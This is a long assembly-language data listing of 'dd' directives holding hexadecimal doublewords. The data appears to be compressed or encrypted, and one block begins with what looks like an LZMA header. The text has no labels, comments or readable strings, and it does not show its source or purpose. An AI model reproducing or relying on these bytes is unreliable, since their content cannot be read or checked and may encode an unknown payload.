dd 3BC1A362h, 0AF1B50C3h, 2DB2E1C7h, 0E823983Ah, 0A62F519Eh
dd 45752F8Eh, 920F47A4h, 0D18A0395h, 0E84605C1h, 75184E86h
dd 0FEE392Ch, 558B8435h, 1FF0B514h, 9D0707FFh, 0F8912BC0h
dd 9C1448Dh, 39F4F943h, 1338AD3h, 4A31FF33h, 4AE91288h
dd 0B058A4CEh, 75184622h, 0EC48C305h, 2B2B27EBh, 0E80A8AC8h
dd 0F0E1182Eh, 76BA09EBh, 87E410E4h, 0EC1D38B5h, 0EDB419B6h
dd 0A2E613A8h, 8E8481DDh, 32480A68h, 0C2D5AA9Bh, 91EA6299h
dd 0E0DC487Eh, 0BD9E7FDh, 0C2ADE911h, 0F06C8944h, 0DBE41C5Bh
dd 9D6D0CD1h, 2C591284h, 6648888h, 0A113229h, 9750E81Bh
dd 2404F8D9h, 34C7CB4h, 0D858247Dh, 3DF25194h, 81062407h
dd 4B536093h, 549E7414h, 49647C21h, 0D6C7D1E2h, 4AFB2391h
dd 0BA30CFF9h, 0CC3E98CAh, 7D5D0E2Ah, 0E4511524h, 5EF02B1Dh
dd 80055E4Eh, 5DD73AE8h, 21EB7001h, 0E1E7C283h, 18A4FB0Fh
dd 1C00493Eh, 6A50C845h, 44F691F1h, 0DBEB5A0Ah, 8590B4CEh
dd 0D36284B6h, 648838Eh, 303424C9h, 9E3C80A6h, 393F3A77h
dd 0D3C1A41Ch, 342429Ch, 40188AC7h, 9413940h, 0D2854A40h
dd 57EC2A1h, 7220D43Bh, 78F1EC49h, 820FE0E7h, 45B59055h
dd 83CC95D2h, 0D2851C6Eh, 7841EB75h, 63F0D1C3h, 72102E12h
dd 800F8A87h, 0BB82E144h, 0F4D1610Dh, 62720124h, 96E94407h
dd 55E3194Ah, 2E2D2E2Ch, 72805F2Eh, 8AE43214h, 2EB37DC1h
dd 0AAC1F3F6h, 0C807C8Fh, 0FA7548D3h, 12BA093Ch, 1CF71CA6h
dd 16F781FCh, 0F11EC9F5h, 0BB060682h, 0E35061C6h, 10E068CFh
dd 9C268D92h, 5341A71Bh, 9D71FF52h, 0BD2077CDh, 0A17A90C8h
dd 1494D38Bh, 206FB405h, 57885272h, 1DFC12B8h, 33242065h
dd 18CE4F6h, 81806E46h, 2E69C36Ah, 8B020240h, 5FC385C6h
dd 53F8C41Eh, 80B901h, 0
dd 2000005Dh, 2516F00h, 7B00000h, 340000h, 33D5452h, 43AC14BFh
dd 0B4733A91h, 823DB8A7h, 0A67DF4F5h, 0F0FBC264h, 0C6509FB0h
dd 7671C2C1h, 0FD8751AEh, 0A5F2942Dh, 126BD7DDh, 2F6AC67Ah
dd 940997A9h, 0CF735C4Ch, 4C8FEB8Ah, 92D232C3h, 53D53352h
dd 1D6C4A9Ah, 581A61C7h, 8D39749Eh, 0F3FC453Ch, 4E0B3DE4h
dd 5F09C90Dh, 6D04D93Ch, 0EE0EAD4h, 7DDC5BDh, 3742BAE8h
dd 58C973Ah, 0C5C6262Dh, 510606D8h, 0EC08CFD4h, 1BDBFFE0h
dd 241171A5h, 0B8867AC7h, 48D2E845h, 0E16070FCh, 1143D6B1h
dd 84E14100h, 5E683D2h, 9E595A29h, 0C1323966h, 4AEDF1E4h
dd 8D101D29h, 0D1412167h, 29F33FA7h, 0C6BE38AEh, 5BE511E0h
dd 535BBB73h, 0F1C7EF5Bh, 0DB8B120h, 0D069A3Ch, 5F0715DAh
dd 5CE6B934h, 0FEF6FAAh, 9E87C709h, 3DEE7CD0h, 0A26BF5E2h
dd 0A715D56h, 43BB5160h, 5AD6C1DCh, 4F91BBAAh, 50583346h
dd 851A68DAh, 0CC156966h, 879ECA67h, 67090B88h, 4FFA5F29h
dd 0D789B927h, 26961132h, 0C378639Ah, 436186BAh, 7E5EB020h
dd 4F241D5h, 733BB60Dh, 0AE8C2C51h, 4E18B01Eh, 0E61569A6h
dd 7ECF6E0Dh, 0E04C8623h, 5A4DF0D2h, 13BAAECh, 0F1276E0h
dd 0AA1946Eh, 23A3A107h, 14CAE922h, 0FD231A2h, 76F0E8E8h
dd 2D5987Fh, 90DAEE44h, 0EFE7510Fh, 96371121h, 86B99011h
dd 5920AA48h, 0B070CFCEh, 60D7454Ch, 0E0FCBCDEh, 8939140Bh
dd 0DF133B2Fh, 9794A1F8h, 7CEC53D6h, 5AF4D5EFh, 82F9DC36h
dd 0A6F4C134h, 0D214434Ch, 490CBBC7h, 4F608914h, 4295056Bh
dd 0D610B65Fh, 505F3609h, 9F132C8Ch, 0C2D10946h, 8C2A9222h
dd 0CD090920h, 0C1DA9EEh, 7672C921h, 795C62CBh, 0BF9F6272h
dd 8587852Ch, 0A36831E3h, 6A101C20h, 1751BF66h, 5777A636h
dd 12A106ABh, 0E61AEEA9h, 0C3B5E73Fh, 0EB379C94h, 33BE9918h
dd 0C6C80CEEh, 0F5CCB7F8h, 739FCF3h, 0E2B2BDE6h, 57C2F6F0h
dd 0D27E5F17h, 2E1A2B3Bh, 2A0EEBB7h, 0DBA11C69h, 5D0A0F1Bh
dd 0F5E6A088h, 0A4827F7Bh, 0FB4BC2D0h, 8C698DA9h, 69531F6Eh
dd 0A261CCA8h, 63E8D71Bh, 0E7A2EAC3h, 9F7CAB5Dh, 0EEBB8287h
dd 74C26432h, 0E5FC6655h, 264B1A97h, 1999EA20h, 265F6963h
dd 0B1EC0F0Dh, 0DACB02Bh, 209717F6h, 2D2641B4h, 0D438C46Eh
dd 75FEADADh, 24BC0E34h, 42D221B8h, 0E3CF2C85h, 35CC6934h
dd 1CC2AA92h, 0D2CD25EBh, 0F1B6199Eh, 60FC46B5h, 0ACA77654h
dd 6571A61Dh, 75E8D56Dh, 0E10DB2E0h, 3672178Bh, 0BB90AC8h
dd 47846E2h, 7DBC131Fh, 6FDEE40Ch, 67860BF4h, 2708D1E4h
dd 20E4BA9Dh, 73E7C938h, 742927B8h, 41B6AB57h, 77B2EAE8h
dd 0DA6733D2h, 65A2D571h, 0AE9A9CA3h, 0C3CC2DDDh, 0E5F1FE88h
dd 1DB03665h, 7DDBEB58h, 2D5DE48Eh, 9F415432h, 4389B40Ch
dd 4EFBC9EEh, 716D5391h, 0F5FCEA82h, 64C4A637h, 8CD3F336h
dd 8F1AA59Fh, 0CC72FC33h, 0EA781D13h, 29B9B33Dh, 1E949C25h
dd 3BDDB35Ah, 2D84355Dh, 0B19738F6h, 0D4945BFEh, 2AA5080Ch
dd 22A732A2h, 0AFE1CD0Ah, 49CD21DCh, 0DA1A5887h, 9D08EE2Fh
dd 184463ACh, 520C1E09h, 52107F8Fh, 46E6195Dh, 34B1B39Bh
dd 0DEBE3329h, 6EDE08B3h, 13A147D4h, 62FC2817h, 3603C3A7h
dd 0C4D2BA45h, 3C70B2A6h, 0B6F54053h, 0F6157B56h, 1FB88416h
dd 3F03D626h, 0DB37A9C9h, 0E4F96AD2h, 0E2D995E0h, 0FBE91E66h
dd 10AAEEE4h, 13D9EF6Ch, 58875580h, 33585B07h, 0A598EF0Fh
dd 95137D26h, 48D7529h, 0B3FAFA0h, 0EC12976Eh, 3EA70AE3h
dd 0BBDEF5A3h, 88A684BDh, 2C4E7AB7h, 62B7200Eh, 4E838152h
dd 53509BA4h, 0BA6626AEh, 77178EEFh, 8CB7643Ah, 9D1C5E32h
dd 0E452C624h, 55245A39h, 43AC1D4Dh, 0C7403351h, 30641AADh
dd 0D026E747h, 0A17A0C48h, 24A957EDh, 0B51BC780h, 0A3D9F91Eh
dd 0B8BB0F68h, 45C361B9h, 0C7804859h, 0A679EA73h, 6DEB38D3h
dd 0DC411468h, 19BD9B01h, 0E3337F3Bh, 39218AB9h, 841CDAC8h
dd 0C859C416h, 0B3A11384h, 9F2DCBF8h, 0E4D46150h, 476C7B7Eh
dd 981A37E7h, 3B2E248h, 0CD37D4ACh, 0DA4E28E7h, 0AD8D47B6h
dd 0C5909772h, 57EE146Dh, 0D61932A9h, 0A797E9ACh, 72DD6016h
dd 0D1C90792h, 47FC242Bh, 1EB15A29h, 51D15C88h, 16D11C44h
dd 560E6CF8h, 7934C04h, 6D3A4A8Eh, 0A38CB6B3h, 0FF90C008h
dd 955DBF94h, 0EF3CD60Ah, 0B9A7EDB2h, 0B25482BAh, 884149ECh
dd 655797A1h, 0A0536EB3h, 0FE571C62h, 0BBE4E2DFh, 0ECACD587h
dd 4A7EC7C4h, 246B8C9Ch, 0A31FD0D2h, 8D10D2B6h, 698B918Dh
dd 1D1A7E28h, 0CECF356h, 7EA5640Ch, 0F6A1D90Bh, 7424A935h
dd 0CA1F6056h, 5208B680h, 0DD4F0D6Ah, 0D30FF756h, 54055B29h
dd 119FFED4h, 0A334CBE3h, 0E84651A3h, 0A659CDD3h, 2DFA43E5h
dd 0C755F6Bh, 44019E98h, 68E8ECFFh, 0EFD516B8h, 0ED13A3A5h
dd 0B5975DC8h, 5B09266Dh, 7AF9908h, 0D9C99673h, 4B46FACBh
dd 6BDFE218h, 174A5A2h, 0C392D5E0h, 86407583h, 0A35C0CBCh
dd 0C79036Fh, 5DFF9C21h, 2193D686h, 0EE5006F2h, 0A38EA4F7h
dd 7335383h, 394EFD35h, 2C0B4004h, 52EC478Ch, 0A9AC0917h
dd 0BAA53A8Bh, 94F3B4CFh, 6A491C1Dh, 54B241F1h, 408DC1E2h
dd 604A6CAh, 42C04DFDh, 475D9E68h, 52703DD3h, 6A87A67Ah
dd 4804387Dh, 0A809A513h, 4D92B47Dh, 0B3C91FB1h, 7A3FD913h
dd 0C0A7034Eh, 9859F149h, 0D1C6F3FEh, 0ED33B4ACh, 0BFDE7130h
dd 87CF8937h, 0E158AFAEh, 8BA041B4h, 92616778h, 12AC23A9h
dd 2641A4CDh, 0A886574h, 0FBAF514h, 92F8F591h, 466D0016h
dd 84ECCD6Fh, 0BFC85DD7h, 894CE9EAh, 74CAF9EEh, 0DCA4BA98h
dd 5F3A1CC0h, 680AFB13h, 37712FD9h, 87F9A061h, 0D8E500E7h
dd 7909A2C5h, 0CFB585Ch, 6F003F99h, 12C4C3AEh, 385EE8F4h
dd 3B2AE1AEh, 42BB536h, 589AA8BDh, 897BE773h, 0CADEE97Bh
dd 9EEA9A1Dh, 76AE8683h, 2FFE0219h, 0C278234Eh, 680A1441h
dd 683A90B4h, 79DB2D5Dh, 74FFCCD0h, 1B83E41Ch, 0FC137C3Dh
dd 0BD282DE3h, 6491E16Fh, 6050D2BEh, 0A9466B79h, 8C1A37A4h
dd 367B433Eh, 9F17BA4Eh, 0AE3A40C7h, 0DCE1D9E0h, 59F1CFC9h
dd 7BA92F3h, 0E4FFDEF3h, 64869688h, 8389EA24h, 0BB02B90Eh
dd 60591C8Dh, 0E457056Eh, 87908C96h, 621E433Dh, 108855AFh
dd 79074067h, 9C3256BCh, 227C82EFh, 5B481398h, 26874BDCh
dd 8FAD8F8h, 0EF4048B7h, 3D568BF3h, 0BC0F868Bh, 7CE1A4CFh
dd 9E23765h, 0B4036968h, 0F6F15AA7h, 97543B62h, 1C7AD619h
dd 0A68F452Fh, 0B8AD3A5Dh, 4B3C1148h, 9D2DE657h, 1A5C7557h
dd 927061D0h, 0E6B1F0FAh, 2D08964Dh, 63921221h, 7CF84108h
dd 4D41BA6Ch, 28169DCCh, 2868A7FEh, 3B3DAAE3h, 74D5E4E7h
dd 0A1ED7C1Bh, 0EDDEA4DDh, 6D192EC0h, 19232086h, 1E149B30h
dd 0BF995B1Fh, 0CF0EFED4h, 98D1D8C2h, 0E056B7FCh, 90D104D6h
dd 0A5B7731Eh, 0E667768Dh, 0B2734821h, 2C7C8F05h, 4F78C5E7h
dd 0A4185313h, 73CF21B7h, 5CB90A21h, 0CABC7496h, 0F105BFCCh
dd 9055B482h, 20978FC2h, 0C745F7FFh, 6A744453h, 29AFA748h
dd 5D4DD26h, 0DC1BF530h, 3F005C74h, 5FA3E5F6h, 7305D12Fh
dd 79E93806h, 0B968B57Dh, 0D34168Fh, 492B46DDh, 0B34DA520h
dd 97D9E8D4h, 0AE27554h, 511ACA12h, 0C39338E9h, 36ED4560h
dd 72C253DAh, 992D5CFBh, 0C0974545h, 0F2874DD2h, 1E5424D8h
dd 348D220Ah
dd 0FF26542Fh, 0B14D2028h, 2238F604h, 4237AC75h, 2D15785Fh
dd 372D59C7h, 8C12DC39h, 0B78B8B02h, 0BF06845h, 84556BE9h
dd 906C3F1Bh, 3C2E4F80h, 0DE52905h, 0B51F13A4h, 0B997924h
dd 0DF0917A1h, 7779305Eh, 85ADDFF5h, 0F8AB4451h, 0CD968482h
dd 5B473037h, 598AD7C1h, 2B9F018Dh, 0D4398ADAh, 0FE9D8F4Eh
dd 0CCCEED44h, 3286B64h, 0BE5B431Fh, 558120E9h, 287273CCh
dd 0F4F74CACh, 44E2716Ah, 63E4FBAEh, 0E655EB82h, 0EBA13FE8h
dd 5495FF50h, 7B3FF4CFh, 0C9837FEAh, 2F70F96Fh, 24250D5Ch
dd 0E9FA26F5h, 0DEA3372h, 246398FFh, 2384CEA1h, 2BAD6C71h
dd 43B686FAh, 491C5812h, 0F2CD65F9h, 7B290A91h, 0D624D2C6h
dd 44966D82h, 392ABE35h, 330ABBA3h, 3743D591h, 0C48A52C2h
dd 91B224D5h, 0E506C9FFh, 65F3E5B9h, 78472Dh, 0D9C23804h
dd 17CC4A6h, 117C7A27h, 0D824D3E9h, 6D184BD8h, 0C7CDD8B1h
dd 30266FFDh, 615C121Ch, 0A00C71D0h, 0C3157070h, 0AE5D0A00h
dd 7EECFD78h, 9501AE88h, 0D32D3846h, 28C2603Ah, 0C28421DBh
dd 0C579BB99h, 4F61607Ah, 0BDE415C7h, 0D42D09D1h, 0B23FF5EFh
dd 0C2B328F9h, 0E542BDE7h, 0D100EA52h, 0AF663094h, 40E961F7h
dd 1B95224Eh, 0E575DCE3h, 0D2B9E718h, 9F0DFD66h, 49A51B22h
dd 8758BC25h, 0C734E32Fh, 8A17BC74h, 0B936A1Eh, 78299F1Eh
dd 6DD19682h, 93CB17Dh, 6F47FD1Ah, 0C3CCB9C1h, 70D9FA5Bh
dd 0E08B1981h, 49B7658h, 1F01096Ah, 3072C45Fh, 4F0981C5h
dd 83BF9FDFh, 1E256E36h, 0AFB3F7D0h, 0BD37B085h, 0A37C0C4Dh
dd 158367DFh, 0CB5F903Ch, 0AB072EA0h, 26D18C67h, 5F954B90h
dd 0FFE0584Eh, 0F040FA71h, 0D0089C79h, 47328640h, 0CE9BBDF8h
dd 0D2503EB1h, 3165DB2Ch, 0BB1340AFh, 614371FBh, 0BF1B1775h
dd 3456E3B2h, 9509AF94h, 21F8428Eh, 29507F35h, 748C79DEh
dd 0FECC16BBh, 66723ED2h, 7130CC9Fh, 7AC771C7h, 5E0ED90Eh
dd 76A865BCh, 60E00753h, 848F999Ah, 9520713Bh, 3BB58C67h
dd 0FEF2FC9Ah, 5966AC5Dh, 0E9FD6C36h, 63AAF7ABh, 25A13622h
dd 5D1D5735h, 5A1D5D3Dh, 579F1630h, 5B1EBA0Eh, 633FC0BBh
dd 96B540DFh, 0C26664E3h, 13EEA1EFh, 0A656A1A7h, 75842841h
dd 8853911Fh, 6832F6C3h, 16C2595Fh, 0BD3FCEDAh, 2B149DDh
dd 0ADFA25BCh, 0BE09B899h, 9DAC2D71h, 9FF32402h, 327D85F4h
dd 9CB8B689h, 2CB714C2h, 118132BCh, 8D271746h, 551BA799h
dd 1D930DF4h, 72278324h, 0E4CC5525h, 0CD0134E9h, 85333925h
dd 0A28772D6h, 0F83E5A77h, 124D8B11h, 0D32AC4E1h, 0E2C12784h
dd 0C7EB8E8Fh, 8136E58Eh, 3141DDF7h, 8905BC4h, 4DAFF5C1h
dd 1E25553Bh, 9EC121C4h, 731A6640h, 77116CB6h, 40CD3058h
dd 0DEE91B86h, 0F07575D3h, 0F46339FCh, 0EA5BA862h, 0C8C1F77Dh
dd 0F1600F31h, 299D58EEh, 0B514C541h, 0B3D2A945h, 0EFF66A42h
dd 577C42E5h, 0E729015h, 0AD57A2D3h, 0F2C74FD6h, 0BB91BD5Fh
dd 0FC9F3404h, 0B3281826h, 0A46C26C9h, 0E5BFCD66h, 20ABB42Ah
dd 0E1FD2759h, 7CB5C3D7h, 7F8FD914h, 855E8F47h, 0C7AF1E43h
dd 1904295Ah, 22D2D9CDh, 6EAEA200h, 15C9EF04h, 0A4073304h
dd 0F6177180h, 87813C1h, 68C1AA96h, 21F3840Eh, 1D003F8Ah
dd 76773EF4h, 0EA0DEF31h, 9E90E008h, 476852BCh, 0E319512Ah
dd 98FFF3FCh, 6516C74Eh, 27B7EF6Ch, 72A9343Ch, 44023C18h
dd 76C6B335h, 0BADC3197h, 92601929h, 34B08DBAh, 0CB56B19Fh
dd 97B74A51h, 83D9B02Dh, 33DBE38Eh, 0CB4E17Ch, 0FDFD08C5h
dd 0CB8FE987h, 1ED5116h, 155B3A31h, 0DF16ED0Bh, 0F3CB1A02h
dd 0A8F8B997h, 0C89B6089h, 866B427Ah, 26E2F407h, 5F902D3Fh
dd 0DD98EE25h, 2391EAF8h, 0D4CEDBE9h, 7A7F4806h, 0F92B8AE6h
dd 0F0777F92h, 0CF958C21h, 9E0DBE54h, 958F56F9h, 0C429A2D4h
dd 2B8DB013h, 71A17BAEh, 0B32AB857h, 0A3471660h, 0FB2099CFh
dd 7B33D6C1h, 86991ADEh, 0A7F0C569h, 7CB4F083h, 0FF519A1Ch
dd 761527F0h, 1A54F19Ch, 72A291C3h, 87E81218h, 2DE5AB13h
dd 0DB134401h, 26F7D3D4h, 29BC6988h, 65BE7FE0h, 727217F7h
dd 6F831F51h, 0C3EF77D7h, 5C23DAEBh, 12BF7D84h, 8221CE62h
dd 724591D2h, 0B54E1AB7h, 59A8757Ch, 0E69CF2Fh, 0DE8E4D98h
dd 134B88DFh, 0D314FB1Fh, 0B705FFE0h, 1F0ADBBEh, 6EFEB09h
dd 33CC8FA7h, 0B575782Eh, 2E701183h, 9A756C77h, 32B96570h
dd 381411C2h, 0D95329D8h, 925C8991h, 0A518A8A6h, 494A33FEh
dd 0DB2D23B5h, 0B9F0A40Bh, 5DC46030h, 0EF3BD8C2h, 6923A3D7h
dd 0BEA53369h, 3EC6C2B5h, 9590A5A4h, 2D70C5F1h, 4A16F01Bh
dd 3A815E92h, 0A3294354h, 9DCB06C8h, 19BA7249h, 572112A0h
dd 57532E10h, 5AE3F024h, 0C1E49277h, 0C7A68B15h, 0A2D4D78Eh
dd 185007D9h, 110876B9h, 0D1BB5DE4h, 5316731Dh, 0B659FEC1h
dd 0DA106784h, 180F4664h, 0B8B42FB4h, 0E34D79D5h, 84DE71BDh
dd 0A167A46Bh, 0E70DB1C4h, 4066954Bh, 4359AC7Bh, 0F4EA7DC1h
dd 4C46F6A3h, 0D12DEC0Fh, 0D0905572h, 97B76A6Eh, 5EC7805Eh
dd 483FC4Bh, 10A6EED6h, 6B8EFDBDh, 3D56FB6Ch, 0FF40AF6h
dd 0D6AE0087h, 0F9B53B8Ch, 8E3B9ADCh, 777E178Bh, 0FDBDF2EDh
dd 2216FF7Eh, 0D5CF1A7Bh, 0ACCB4A18h, 0B4E0D3D5h, 0B703F575h
dd 47953931h, 657BD8A2h, 7668EB51h, 18387CBFh, 0B1928C78h
dd 993E6D14h, 0DAD6F58h, 38F18F45h, 1A7D1C28h, 0F08ACFD0h
dd 2F0FA9DAh, 933F004Bh, 79CD864Bh, 0C1C3FE11h, 44296EE1h
dd 4612C084h, 63566668h, 990ADD87h, 5F08A69Eh, 49E6A8D6h
dd 2CBE020Bh, 0D13CC6F7h, 1A9BEA64h, 0F7B61BADh, 94CC35E6h
dd 8564671Dh, 0C713AF7h, 1986FC8Dh, 0DE260C3Dh, 0AC21E454h
dd 0CFAFC28Bh, 51466C03h, 42B7B835h, 0A2E87C56h, 6ACB3289h
dd 0D333BF5Ah, 3A26998Ch, 0C01895A2h, 34438C9Ch, 0D83D1B31h
dd 0EC4E5C69h, 2112951Dh, 0E231E6B6h, 3CA3A387h, 0C5D7D76Ah
dd 0DB94D29Ch, 7A249081h, 40F7806Eh, 0ED83B2FAh, 7FA23DBBh
dd 7CCF0157h, 801E9391h, 124AB9F9h, 6C74CF24h, 25E439EFh
dd 94315455h, 0A2045632h, 347E00B8h, 884B3ABFh, 0B0F4F7DCh
dd 0C89359CBh, 24AEE6E6h, 8C22B69h, 0B88630B3h, 491EF8A3h
dd 0B8012C0Bh, 4DB0A2CEh, 0D98036E0h, 546EE8E1h, 0E4F0957Ah
dd 42B3E29Ch, 91600805h, 0A29186D1h, 3F152C6Dh, 40F39A8Fh
dd 197231E4h, 9E683882h, 45BE9A5Fh, 825CB9A3h, 6C638443h
dd 70AFC835h, 4A9B3A73h, 0BD62928Eh, 0DD77B4E1h, 0B3CCCC9Bh
dd 0D1C904EAh, 828BC6ABh, 9D88CAE0h, 7CD99DFCh, 724BBE51h
dd 0D81E6A5Bh, 0BC844F9Eh, 5D1E9CF8h, 0DCEB219Eh, 73500881h
dd 0E7A86752h, 34F1539Eh, 14A39195h, 160B2901h, 6952E1F2h
dd 0E0AAF322h, 50E7D16Fh, 0DFFED093h, 0DEBEA9EAh, 0BDBFC005h
dd 7AFEAC75h, 3E1ECCBBh, 47C2173Dh, 0DFB81C3Fh, 45E0A98Bh
dd 58CD303Dh, 0B7BC3E89h, 0BFE915FFh, 7410EA05h, 0D1921FEBh
dd 8FAB86B7h, 9BA99E3Eh, 3597AB5h, 608F55C2h, 0F4C7CA49h
dd 7957D936h, 6C79501Ah, 150BF84Dh, 0E7603EA9h, 210BA062h
dd 0CE8F60C9h, 73E49059h, 25D3D6CBh, 60902E2Dh, 74DE695Dh
dd 5471D5C4h, 4ADB39C6h, 4E64F340h, 0A0AA0EB2h, 9A959146h
dd 730097FEh, 0EECE6DC1h, 32C18C34h, 96A20C8h, 0EF68239Fh
dd 0F3BD191h, 2CE94458h, 33B69B99h, 1A459ED4h, 7762D682h
dd 0FC3EA269h, 0AA389D74h
dd 6B290BD5h, 0D1C0555h, 0FE4EF19Dh, 48939BFh, 1B4AF8DAh
dd 5FF0C836h, 0FAB683F2h, 0DDAE62B1h, 9531AB5Ch, 67BFA48Fh
dd 74A3F198h, 9D58DBF2h, 5644E90Ch, 42029BC4h, 0E36CD5EEh
dd 0AC658556h, 0BCC7C4EEh, 6627AEACh, 683E9B85h, 8D51FC31h
dd 0AB62B9D8h, 4A9779F0h, 0F40CBF25h, 6296C81Dh, 4A290D97h
dd 7350B89Ah, 0FCB413B5h, 357033Fh, 58703B4Dh, 4B72B230h
dd 0EAF2E7A4h, 8827D5Bh, 8875DE02h, 6D150E7Eh, 0FCEB4EE0h
dd 6B581B8Fh, 64FB281Dh, 5682E257h, 6FC98407h, 3112016h
dd 0EA8CA839h, 0F00A5DD6h, 0BD321ED2h, 0E338EE08h, 51C2A40Ah
dd 0DDFA5173h, 533CE08Dh, 5725C10Ch, 2A5A74E6h, 40DB4289h
dd 58AB581h, 73621EACh, 0FEEE3ACAh, 7C39F2CFh, 1DE48CCAh
dd 0A6977B92h, 8A9E2F4Eh, 0F1B036FEh, 7A841D12h, 0E45616B7h
dd 5F57BD29h, 2E2851CDh, 837259E5h, 0AC49E0B3h, 1EB0DD68h
dd 0B60581B2h, 3E2BC7A5h, 0C4EFF4CCh, 0C91CDBF6h, 73EEA7B1h
dd 7DD262AFh, 82816B9Ah, 1C24E727h, 0C663E1D3h, 0A6B410E3h
dd 8BC1D23Bh, 182F83D0h, 4E506F18h, 1C64D3BAh, 20C79253h
dd 0C373320Fh, 55258EEFh, 0A6DD9A3Dh, 5F237FEAh, 3D6B9DA6h
dd 0F2D20F8Eh, 619935F3h, 6C56C2B7h, 7C87F237h, 0ADAA8BA1h
dd 0AB1A7CEh, 0BA45B9E9h, 73148627h, 0D37FD74h, 0D2E01B79h
dd 0F939FEEFh, 0C00EF2F3h, 2FF316Dh, 855E14ACh, 0B968C0FDh
dd 3F0F6C40h, 9284D1FBh, 0DA238717h, 0AA81D4B8h, 695C9E88h
dd 63038236h, 11BC1DB8h, 15FCDC48h, 0E078283Fh, 80C676B1h
dd 0A6AD11C0h, 0C8447A07h, 0CEC5A322h, 8AA6F961h, 10CDB9C2h
dd 9A5A6DD2h, 0E8B21C2Ah, 0F2ABBC9h, 7BAF479Ch, 1855EA80h
dd 124182E3h, 199410A8h, 0B86CFF79h, 56BECF02h, 9AA67D76h
dd 0CF4B43E1h, 0BC0DA6F8h, 796A2932h, 873BF290h, 0DFE6FDA2h
dd 87C3718Ah, 2110A54h, 5FC0162Bh, 80F0C786h, 2436ADC5h
dd 0BCA5BA3Fh, 0D1DD0B50h, 82C9E97Ah, 8C141184h, 70DD0A58h
dd 0B7E39B50h, 5CA88271h, 449B4AD0h, 93357368h, 0A87069E1h
dd 496A6055h, 9D0BC76h, 192319h, 0FD269DBEh, 35411D12h
dd 61F5B851h, 0CB4030ABh, 0CF0FD14Ch, 8A386460h, 0B38F96CEh
dd 6E5497E5h, 27C00381h, 0C608E2h, 0BE4881CDh, 0B3B96247h
dd 8B8B5446h, 8BC0EA92h, 0EB218363h, 9BD03B93h, 23026D13h
dd 977D85F1h, 0F4CB4323h, 0D021A1FDh, 7E1FCB76h, 2022C1B8h
dd 2BF31409h, 8B0CD8B5h, 1FAEFAC7h, 24FD138Fh, 1709BDF8h
dd 0AA3FF122h, 2E3AC7CDh, 960B6AAEh, 29429170h, 0D0C32976h
dd 0A9B9D772h, 0D470CCEEh, 0BEE936CFh, 0AA9E5AB6h, 11D3FA6Dh
dd 654B23CBh, 0DBFA9D0Eh, 249D20B9h, 1FABF677h, 99D2E61h
dd 0AF1DF695h, 9083921Dh, 98C8E18h, 69CC376Ah, 9D649B9Dh
dd 0D46FAC13h, 0CD7AD450h, 0B77D7F9h, 0BDB33636h, 59C7CB6Dh
dd 0D5581C69h, 1D21999Dh, 0ACB01BCCh, 0A0F58CA7h, 6B746BE2h
dd 0BFE0650Dh, 16C524EBh, 0ECA01C7Fh, 657A419Ch, 0D3C7A5E0h
dd 26AB82EAh, 2C00594Dh, 0E5817E0Ah, 0CEB06B07h, 0FD08B1CAh
dd 3E026F1Dh, 3661C3E8h, 0EEEC2FE8h, 0E6E827A1h, 1BCE7BF6h
dd 7C0EE420h, 84069F99h, 9A493925h, 6D8AD0D9h, 84D33DA2h
dd 21ABA096h, 562BE5F5h, 28B627AEh, 0BFEC45F0h, 0D8DE77B6h
dd 8D8ADA90h, 1F62E4D9h, 70BAE180h, 2F855E1Bh, 641D2353h
dd 18568532h, 7CCE4FCBh, 0E68D6DDDh, 0DC8F4F77h, 964600C3h
dd 1C1E46Eh, 0D033CDEEh, 27073218h, 0F0E71F2Fh, 0F18B3F5Dh
dd 488D8D04h, 978B0C2Ah, 4C407F6Bh, 0BEB2A29Ah, 6E61AD5Eh
dd 775DB779h, 0CDB31E94h, 3247A9FFh, 0DA60067Eh, 8174B189h
dd 95E7BBDFh, 0C1F51834h, 0ADA88FFDh, 0D22886A8h, 50E2B414h
dd 7A914CC3h, 0BEE6B655h, 220AF7AEh, 760FADCBh, 23358475h
dd 4A759948h, 0FBCD446Fh, 0D9FEAFA9h, 0E6B16507h, 628B58Dh
dd 0ED1EF41Ah, 2E33F2AEh, 0C6F52EE3h, 174B3223h, 5B0D5C00h
dd 6C555CA9h, 76CB3AFAh, 94E78C9h, 7ADBADE1h, 614C8356h
dd 211689F5h, 513A72ABh, 62058E8Fh, 49943B97h, 0C3D4DB61h
dd 0F2404F94h, 8F12462h, 86832012h, 0BDB1BA74h, 9FEF2DEBh
dd 0FB399B72h, 6E6B7B16h, 5F864FB6h, 0B69D60C1h, 84AE1627h
dd 0F97D5354h, 4B4CABBCh, 84192135h, 0B08DF835h, 2976A5B5h
dd 3732DF66h, 0EB6244Ch, 0C71E0B9Dh, 0F5021811h, 73D6424Bh
dd 89092287h, 4E1EF1F6h, 0E67CE6CEh, 0D2E1957Fh, 639EE285h
dd 43AF406Fh, 4D2B8657h, 95D4F876h, 0CBBAEA64h, 9B0201ACh
dd 2CCFBA73h, 0D193FE44h, 4AA8456Ah, 0B4620CFFh, 9BAAD566h
dd 1A07D0EBh, 0B8E591BBh, 0C737AB4h, 78A77D88h, 6E6E7084h
dd 1A838CB7h, 0A299952Fh, 54ED83FBh, 0ACC99E45h, 7F25592Dh
dd 0A48DBE4Ch, 0FD280802h, 6317E6Ch, 8345E6FCh, 0A94BE4A5h
dd 0E2484C66h, 0A18B1D60h, 6BDD10E1h, 55786330h, 274994A1h
dd 0EBC27E32h, 6130257Ch, 91830DE3h, 14304F1Ah, 8C6F3CA7h
dd 3514D646h, 1128C7E1h, 0C47AD52Ah, 0E9F96280h, 0BEE798CFh
dd 3C8D64BAh, 0D643D8ECh, 97E17862h, 0BD0DAF8Eh, 70811B2Eh
dd 0C20816E8h, 0E6C46A5Dh, 4C1FE281h, 393EF972h, 0E96070Fh
dd 7CEDB687h, 53A77E5Dh, 4A0E907Ch, 3BC820A4h, 18CD3E86h
dd 0B1D497D5h, 0F712004Eh, 0CF6167Bh, 672828BDh, 98F185FDh
dd 485C0ECh, 3887FA18h, 0D64BE0E8h, 0FFDE4EBDh, 3F9F5593h
dd 29793777h, 64BB061Dh, 2C94F145h, 88A75AF4h, 84C1D6EEh
dd 0D68ED5DDh, 5B7603BFh, 0CE25351h, 0C9D1D238h, 430241C7h
dd 8B235ABCh, 7AEC620Eh, 0B1A7442Dh, 5001B15h, 8207F1B7h
dd 85EDD24Ch, 0D8803113h, 0B8B647FAh, 976B98EFh, 856651C6h
dd 382D82A7h, 0BC05907Dh, 0E1BE487h, 957C0A49h, 5D887A6Eh
dd 56C5E896h, 63C565D6h, 0C6438EA4h, 75EEC4BBh, 0EEA07546h
